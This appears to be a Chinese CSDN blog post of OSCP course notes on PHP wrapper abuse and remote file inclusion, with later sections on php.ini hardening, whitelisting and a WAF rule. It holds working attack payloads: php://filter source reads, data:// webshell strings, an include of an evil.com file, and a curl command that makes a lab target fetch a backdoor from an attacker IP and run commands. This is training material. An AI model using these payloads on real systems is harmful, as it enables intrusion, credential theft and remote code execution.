4-5〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸远程文件包含漏洞

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀

​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.2 文件包含漏洞](#1.2 文件包含漏洞)

[1.2.3 PHP协议包装器(Wrappers)介绍](#1.2.3 PHP协议包装器(Wrappers)介绍)

[1.2.3.1 PHP协议包装器概述](#1.2.3.1 PHP协议包装器概述)

[1.2.3.2 重点包装器](#1.2.3.2 重点包装器)

[1.2.3.3 利用php://filter读取敏感信息](#1.2.3.3 利用php://filter读取敏感信息)

1.攻击流程图

2.攻击详细步骤

[1.2.3.4 利用data://实现代码执行](#1.2.3.4 利用data://实现代码执行)

[1. data://攻击流程图](#1. data://攻击流程图)

[2. data://包装器攻击详解表](#2. data://包装器攻击详解表)

[3. 攻击前提条件与限制](#3. 攻击前提条件与限制)

[1.2.4 远程文件包含漏洞(RFI)](#1.2.4 远程文件包含漏洞(RFI))

[1.2.4.1 远程文件包含漏洞(RFI)概述](#1.2.4.1 远程文件包含漏洞(RFI)概述)

[1.2.4.2 RFI实战攻击步骤](#1.2.4.2 RFI实战攻击步骤)

1.准备Webshell

2.启动Web服务器(将simple-backdoor.php作为远程文件)

3.发起RFI攻击

4.验证攻击结果

[1.2.4.3 RFI防护策略](#1.2.4.3 RFI防护策略)

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++ ---远程文件包含漏洞(本文)

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++获取系统访问权

  • ⚡ 命令注入 - 在输入中++注入系统命令++执行

1.2 文件包含漏洞

接前文。

1.2.3 PHP协议包装器(Wrappers)介绍

PHP协议包装器就像**"万能钥匙"** 🗝️,允许PHP以不同方式访问本地或远程资源(如文件、网络)。它们增强了PHP的功能,但攻击者常利用它们绕过安全过滤器,通过文件包含漏洞获取敏感信息或代码执行权限。

1.2.3.1 PHP协议包装器概述
  • 什么是包装器?

    PHP包装器是内置的协议处理器,类似于**"交通枢纽"** 🚦,让PHP能通过统一接口(如file://http://php://)访问多样资源。

  • 常见类型

    包装器类型 用途
    file:// 访问本地文件系统
    http:// 通过HTTP访问网络资源
    php:// 处理PHP流(如输入/输出)
    data:// 直接嵌入数据(如Base64编码)
  • 攻击面

    ⚠️ 攻击者尤其关注 php://filterdata://,因为它们能绕过过滤器读取非执行文件(如配置文件)。

1.2.3.2 重点包装器
  • 功能比喻
    php://filter 像一个**"魔法滤镜"** 🪄,能在读取文件时进行编码转换(如Base64、ROT13),从而改变文件内容的显示方式。

  • 攻击利用

    • 绕过过滤器 :如果Web应用程序限制了文件访问,攻击者可用 php://filter 将PHP文件内容编码后读取(例如,Base64编码),避免直接执行代码。

      • 示例
        include("php://filter/convert.base64-encode/resource=config.php") 会以Base64显示config.php的源代码,而非执行它。
    • LFI(本地文件包含)漏洞利用

      通过路径遍历(如../../../etc/passwd)结合 php://filter,攻击者能读取敏感文件(如数据库密码)。

  • 流程图 :这就像**"用X光扫描文件"** 🔍,直接查看内部结构,而不触发执行。

    复制代码
    正常访问:用户请求 → 执行PHP代码 → 输出结果  
    攻击路径:用户请求 → 使用php://filter编码 → 读取源代码 → 解码获取信息  

📊 主要包装器利用

风险类型 包装器示例 攻击效果 比喻
文件读取绕过 php://filter 读取PHP源代码 偷看日记本📖而不被发现
远程代码执行 data:// 通过嵌入数据执行代码 通过"密信"💌传递恶意指令
路径遍历 file:// 访问系统敏感文件 用万能钥匙🗝️打开禁止的房间

💡 形象比喻总结

  • PHP包装器就像"瑞士军刀" 🛠️:功能多样,但若被恶意使用,会成为攻击工具。

  • php://filter 是"解码器":它将执行式访问转为"只读模式",如同将电影转为剧本------攻击者能分析代码漏洞。

  • 防御建议

    🔒 严格验证用户输入路径,禁用危险包装器(如通过**allow_url_include=Off**),并定期审计代码。


1.2.3.3 利用php://filter读取敏感信息

以下是攻击者通过php://filter包装器读取敏感信息的完整攻击流程:

1.攻击流程图
2.攻击详细步骤
步骤 操作描述 关键发现 结果分析
① 直接访问 page=admin.php 显示标题和维护文本,但HTML代码不完整 PHP代码在服务器端执行,无法查看源代码
② 无编码过滤 php://filter/resource=admin.php 输出结果与直接访问相同 PHP代码仍然被执行,无法达到读取源码目的
③ Base64编码 php://filter/convert.base64-encode/resource=admin.php 获取Base64编码字符串,页面正常加载 成功绕过执行,以编码形式获取文件内容
④ 解码数据 终端执行base64 -d解码 获得完整的PHP源代码,包含MySQL连接信息 发现数据库用户名、密码等敏感凭据
⑤ 利用凭据 使用获取的凭据登录 可实现数据库连接SSH登录 完成权限提升,获得系统访问权

各步骤图示:

① 直接访问: 下图显示之前审查网页应用程序时已经遇到的标题和维护文本。 注意到:

HTML代码的末尾没有关闭<body>标签 。合理推测,有些东西丢失了。PHP代码将在服务器端执行,因此不会显示。

当我们将此输出与在浏览器中查看源代码时得出结论,index.php页面的其余内容丢失了。

② 无编码过滤: 使用php://filter 来包含文件。现在,不对其进行任何编码。PHP包装器使用resource作为必需的参数,用于指定用于过滤的文件流,这里的情况是文件名。我们还可以在此参数中指定绝对路径或相对路径。

输出显示相同的结果。因为PHP代码通过LFI漏洞被包含和执行。

**③ Base64编码:**使用base64对输出进行编码通过添加convert.base64-encode。 这将将指定的资源转换为base64字符串。下图包含了base64编码的数据。

④ 解码数据: 使用base64程序和-d标志(解码)在终端中解码编码的数据。显示出完整(包括之前被执行)的代码,解码后的数据包含:MySQL连接信息,包括用户名和密码!!!

**⑤ 利用凭据:**可使用这些凭据连接到数据库,或者尝试使用SSH登录用户账户的密码。

  • 为什么需要编码?

    ➤ 直接包含PHP文件会导致代码被执行 而非显示

    ➤ Base64编码将源代码转为纯文本格式,避免执行

  • 攻击成功的关键

    LFI漏洞存在 - 可动态包含文件

    php://filter可用 - 服务器未禁用危险包装器

    敏感信息硬编码 - 配置文件包含明文凭据

🛡️ 防御启示

bash 复制代码
# 危险配置(导致漏洞)
allow_url_include = On

# 安全配置(建议)
allow_url_include = Off
php://filter包装器限制使用

核心教训永远不要 在源代码中硬编码敏感信息,并严格限制文件包含功能! 🔒


1.2.3.4 利用data://实现代码执行

以下是使用**data://**包装器嵌入恶意代码的完整攻击流程:

1. data://攻击流程图
2. data://包装器攻击详解表
攻击阶段 技术细节 关键命令/代码 防御规避效果
① 明文数据注入 直接嵌入PHP代码 data://text/plain,<?php system("ls");?> 基本WAF可检测
② Base64编码绕过 编码规避安全检测 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4= 绕过字符串过滤
③ 命令执行 通过参数传递命令 ?cmd=id?cmd=cat /etc/passwd 动态命令执行

① 明文数据注入: 使用该包装器,添加data:// 后跟数据类型和内容。尝试将一个小的URL编码的PHP片段嵌入到Web应用程序的代码中,使用ls命令。text/plain 是MIME 类型,表示数据是纯文本格式。看到,命令被执行了。

② Base64编码绕过:但是,直接明文注入,会被WAF检测到!因此需要编码后注入。

我们先将PHP代码片段编码为base64,然后使用curl将其嵌入并通过 data://包装器执行。

bash 复制代码
$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64

//-n ,echo就不会在输出后自动添加换行符;然后进行base64编码。

如果你使用echo -n:echo -n "Hello",会输出:HelloWorld(即,world跟在后面)

data://包装器语法结构

php 复制代码
data://[<MIME-type>][;base64],<data>
  • MIME-type : 指定数据类型,如 text/plaintext/html

  • base64标识: 可选,表示数据为Base64编码

  • 数据内容: 要嵌入的实际代码或数据

攻击示例对比

攻击类型 URL示例 优点 风险
明文攻击 data://text/plain,<?php system("ls");?> 简单直接 易被检测
编码攻击 data://text/plain;base64,PD9waHA... 绕过过滤 需要编码

3. 攻击前提条件与限制

默认的PHP安装中,data://包装器不起作用。要利用它,必须启用allow_url_include设置

php 复制代码
allow_url_include = On    ; ✅ 允许URL包含
allow_url_fopen = On      ; ✅ 允许URL文件操作

allow_url_include核心概念

属性 详细说明
配置类型 PHP.ini中的安全配置选项
控制范围 include, require, include_once, require_once
默认状态 Off(关闭) - 安全优先

📊 配置状态对比表

配置状态 功能权限 安全风险 推荐场景 风险等级
✅ On(开启) 允许包含远程文件(HTTP/FTP) 🔴 高危:RFI漏洞 开发测试环境 💀
❌ Off(关闭) 仅允许包含本地文件 🟢 低危 生产环境
php 复制代码
# 📍 配置文件位置:php.ini
# 开启远程包含(危险!)
allow_url_include = On

# 关闭远程包含(推荐安全设置)
allow_url_include = Off

💻 代码示例对比

允许远程包含时(allow_url_include = On)

php 复制代码
<?php
// 🚨 危险代码示例 - 可能被恶意利用
include('http://evil.com/malicious.php');
?>

执行结果:✅ 可正常包含并执行远程恶意代码

禁止远程包含时(allow_url_include = Off)

php 复制代码
<?php
// 🔒 安全限制 - 包含远程文件会报错
include('http://evil.com/malicious.php');
?>

执行结果 :❌ Warning: include(): http:// wrapper is disabled in the server configuration

RFI(远程文件包含)攻击流程

攻击场景示例http://victim.com/index.php?page=**http://attacker.com/shell.txt**

  • 攻击结果:服务器下载并执行攻击者的远程恶意脚本

1.2.4 远程文件包含漏洞(RFI)

1.2.4.1 远程文件包含漏洞(RFI)概述
属性 详细说明 风险等级
漏洞类型 远程文件包含攻击 🔴 高危
出现频率 比LFI更少见(需特定配置) ⭐⭐
攻击条件 allow_url_include = On 关键前提

📊 LFI vs RFI对比表

特性 LFI(本地文件包含) RFI(远程文件包含)
文件来源 本地文件系统 远程服务器(HTTP/SMB等)
配置要求 通常默认存在 allow_url_include = On
攻击难度 相对容易 需要特定配置
危害范围 本地信息泄露 远程代码执行+持久化
漏洞发现 LFI部分介绍的相同技术来发现RFI漏洞 和LFI部分介绍的相同发现的技术

🔧 RFI 攻击流程详解

  • 🕵️ 侦察阶段 - 发现文件包含参数

  • 🔧 准备阶段 - 准备恶意Webshell

  • 🌐 服务阶段 - 搭建远程文件服务器

  • ⚡ 攻击阶段 - 触发远程文件包含

  • 🎯 控制阶段 - 获取系统权限


1.2.4.2 RFI实战攻击步骤
1.准备Webshell

Kali在 /usr/share/webshells/php/ 目录中的几个PHP webshell,可用于RFI。

webshell是一个小脚本,提供基于Web的命令行界面,使执行命令更加简单和方便。在这个例子中,将使用simple-backdoor.php webshell来利用"Mountain Desserts"的RFI漏洞。

🛠️ 常用Webshell类型对比

Webshell名称 功能特点 适用场景 隐蔽性
simple-backdoor.php 基础命令执行 RFI测试 ⭐⭐
php-reverse-shell.php 反向连接shell 持久化访问 ⭐⭐⭐
c99.php 图形化文件管理 高级运维
b374k.php 多功能后门 专业渗透 ⭐⭐
2.启动Web服务器(将simple-backdoor.php作为远程文件)
php 复制代码
# 🖥️ 在Kali上启动Python HTTP服务器
cd /usr/share/webshells/php/
python3 -m http.server 80

# ✅ 服务器运行在:http://<Kali-IP>/simple-backdoor.php
3.发起RFI攻击
bash 复制代码
# 💣 使用curl进行RFI攻击
$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
复制代码
# 📊 攻击参数分解:
# - page参数:指向攻击者的远程Webshell:http://192.168.119.3/simple-backdoor.php
# - cmd参数:要执行的系统命令
4.验证攻击结果

1.2.4.3 RFI防护策略

配置文件层防护

bash 复制代码
# 🔒 安全配置(php.ini)
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html

代码层防护

php 复制代码
<?php
// ✅ 安全的文件包含实践
$whitelist = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';

if (in_array($page, $whitelist)) {
    include("templates/{$page}.php");
} else {
    header('HTTP/1.0 403 Forbidden');
    die('Access Denied');
}
?>

WAF规则示例

php 复制代码
# 🛡️ Nginx WAF规则
location ~* \.(php)$ {
    if ($query_string ~* "(http|https|ftp)://") {
        return 403;
    }
}

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
小苑同学4 小时前
研究生如何看懂文献?
人工智能·安全·网络安全·安全性测试
hk2focus4 小时前
网深科技NetInside网络流量异常分析报告
网络安全·案例分析·全流量分析
计算机毕业设计指导16 小时前
基于Django的内部网络资产发现与管理工具
网络·python·网络安全·django
余防20 小时前
文件上传漏洞(二)iis6.0 CGI漏洞
前端·安全·web安全·网络安全
Suckerbin2 天前
burpsuite网络安全学院: JWT attacks靶场通关
网络·笔记·安全·web安全·网络安全
知攻善防实验室2 天前
Notepad++ 本地提权漏洞|复现|分析
测试工具·安全·网络安全·notepad++
RrEeSsEeTt2 天前
【HackTheBox】- Active 靶机学习
网络安全·渗透测试·kali·内网安全·hackthebox·ad域
G皮T2 天前
【安全】TLS 协议介绍
安全·http·网络安全·https·ssl·tls·tls 1.3
btyzadt2 天前
内网信息收集与命令详解
web安全·网络安全